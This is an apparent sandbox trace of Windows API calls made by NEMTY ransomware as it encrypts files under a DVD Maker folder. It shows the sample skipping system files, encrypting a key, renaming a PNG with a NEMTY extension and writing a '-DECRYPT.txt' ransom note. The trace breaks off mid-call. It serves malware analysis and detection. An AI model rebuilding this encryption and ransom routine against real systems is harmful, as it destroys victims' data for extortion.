WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Postage_VideoInset.png", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0078.512] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0078.512] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Postage_VideoInset.png", cchWideChar=22, lpMultiByteStr=0x4f9ed08, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Postage_VideoInset.png", lpUsedDefaultChar=0x0) returned 22 [0078.512] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0078.512] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0078.512] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941c0 | out: hHeap=0x4f90000) returned 1 [0078.512] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0078.512] Sleep (dwMilliseconds=0x5) [0078.513] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0xe271ad10, dwHighDateTime=0x1d561e7)) [0078.513] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0xe271ad10, dwHighDateTime=0x1d561e7)) [0078.513] GetLastError () returned 0x5 [0078.513] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0078.513] GetLastError () returned 0x5 [0078.513] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0078.513] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0078.513] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0078.513] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653ec60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653ec60*=0x100) returned 1 [0078.513] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x10, dwBufLen=0x100 | out: pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x100) returned 1 [0078.513] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ec5c | out: pszString=0x0, pcchString=0x653ec5c) returned 1 [0078.513] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x4f941c0 [0078.513] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x4f941c0, pcchString=0x653ec5c | out: pszString="nhRsy20JP2F7LnRz1+zU+4cLaleqaM4gwHjgM5qo5MWYLMC9vi9LET7trgtHg+6f\r\nIkU3ptgieW4t/UPTh/eriFimS1a2QeNh2xcasuuHlewanYRCFI2Q+x2iA5zpZ9MV\r\nscSV0ZKJ8h+8wo8S/dK7lwT2TZ+5B+3fGuG10NsoMW2btUjp6ib6aWW/V7hAO5Jm\r\nLtav81+L+c2mgv8Zi3cZF9IERa4PCv8Ow74el2rRSyKy4+0q9bO7uqs7PkCv4w3y\r\n5CNo6mwiInRe7CZuhplMm35JEgpr/0NR5R/czDrPzhVcvDkPlcv2vybson4mY4sd\r\nqFzCv2kvwcMGKS4jRtyGRg==\r\n", pcchString=0x653ec5c) returned 1 [0078.513] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0078.513] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941c0 | out: hHeap=0x4f90000) returned 1 [0078.514] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0078.514] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0078.514] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x4f941c0 [0078.514] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0078.514] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\postage_videoinset.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0078.514] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eeb0 | out: lpFileSize=0x653eeb0*=18150282790956772) returned 0 [0078.514] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0078.514] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.514] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0078.523] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.523] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0078.523] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.523] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0078.533] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.533] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0078.533] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.533] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0078.542] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.542] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0078.542] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.542] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0078.552] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.552] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0078.552] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.552] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0078.561] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.561] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0078.561] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.561] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0078.570] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.570] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0078.570] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.570] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0078.580] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.580] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0078.580] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.580] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0078.589] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.589] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0078.590] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.590] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0078.599] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.599] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0078.599] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.599] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0078.608] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.608] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0078.608] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.608] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0078.614] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.614] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0078.614] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106061540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.614] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0078.620] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106061540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.620] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0078.620] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163940, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.620] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f941c0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0078.620] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0078.620] CloseHandle (hObject=0xffffffff) returned 0 [0078.620] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0078.620] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0078.620] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0078.620] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0078.621] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0078.621] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0078.621] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0078.621] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x4f94330 [0078.621] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0078.621] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0078.621] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\postage_videoinset.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_VideoInset.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\postage_videoinset.png._nemty_kgobjgd_")) returned 0 [0078.621] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94330 | out: hHeap=0x4f90000) returned 1 [0078.621] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0078.621] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0078.621] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941c0 | out: hHeap=0x4f90000) returned 1 [0078.621] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0078.621] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0078.621] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0078.621] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0078.621] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0078.621] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0078.621] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa11287e6, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa73ba87, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa119af33, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="Push", cAlternateFileName="")) returned 1 [0078.621] lstrcmpiW (lpString1="Push", lpString2=".") returned 1 [0078.621] lstrcmpiW (lpString1="Push", lpString2="..") returned 1 [0078.621] lstrcmpiW (lpString1="Push", lpString2="...") returned 1 [0078.621] lstrcmpiW (lpString1="Push", lpString2="windows") returned -1 [0078.621] lstrcmpiW (lpString1="Push", lpString2="$RECYCLE.BIN") returned 1 [0078.621] lstrcmpiW (lpString1="Push", lpString2="rsa") returned -1 [0078.621] lstrcmpiW (lpString1="Push", lpString2="NTDETECT.COM") returned 1 [0078.621] lstrcmpiW (lpString1="Push", lpString2="ntldr") returned 1 [0078.621] lstrcmpiW (lpString1="Push", lpString2="MSDOS.SYS") returned 1 [0078.621] lstrcmpiW (lpString1="Push", lpString2="IO.SYS") returned 1 [0078.621] lstrcmpiW (lpString1="Push", lpString2="boot.ini") returned 1 [0078.621] lstrcmpiW (lpString1="Push", lpString2="boot.ini") returned 1 [0078.622] lstrcmpiW (lpString1="Push", lpString2="AUTOEXEC.BAT") returned 1 [0078.622] lstrcmpiW (lpString1="Push", lpString2="ntuser.dat") returned 1 [0078.622] lstrcmpiW (lpString1="Push", lpString2="desktop.ini") returned 1 [0078.622] lstrcmpiW (lpString1="Push", lpString2="CONFIG.SYS") returned 1 [0078.622] lstrcmpiW (lpString1="Push", lpString2="RECYCLER") returned -1 [0078.622] lstrcmpiW (lpString1="Push", lpString2="BOOTSECT.BAK") returned 1 [0078.622] lstrcmpiW (lpString1="Push", lpString2="bootmgr") returned 1 [0078.622] lstrcmpiW (lpString1="Push", lpString2="programdata") returned 1 [0078.622] lstrcmpiW (lpString1="Push", lpString2="appdata") returned 1 [0078.622] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Push", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0078.623] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Push", cchWideChar=4, lpMultiByteStr=0x653ef10, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Push", lpUsedDefaultChar=0x0) returned 4 [0078.623] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Push", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0078.623] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Push", cchWideChar=4, lpMultiByteStr=0x653ef10, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Push", lpUsedDefaultChar=0x0) returned 4 [0078.623] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f941c0 [0078.623] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0078.623] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94238 [0078.623] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0078.623] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0078.623] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0078.623] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0078.623] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0078.623] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0078.623] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0078.623] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0078.623] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x4f942b0 [0078.623] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0078.623] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3cc [0078.625] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942b0 | out: hHeap=0x4f90000) returned 1 [0078.625] SetFilePointer (in: hFile=0x3cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.625] WriteFile (in: hFile=0x3cc, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eec0, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eec0*=0xef8, lpOverlapped=0x0) returned 1 [0078.626] CloseHandle (hObject=0x3cc) returned 1 [0078.626] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0078.626] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94238 | out: hHeap=0x4f90000) returned 1 [0078.626] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94238 [0078.626] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f942b0 [0078.626] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94328 [0078.626] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0078.626] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0078.626] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0078.626] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0078.626] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0078.626] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0078.626] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0078.626] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0078.627] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x6340048 [0078.627] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0078.627] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, 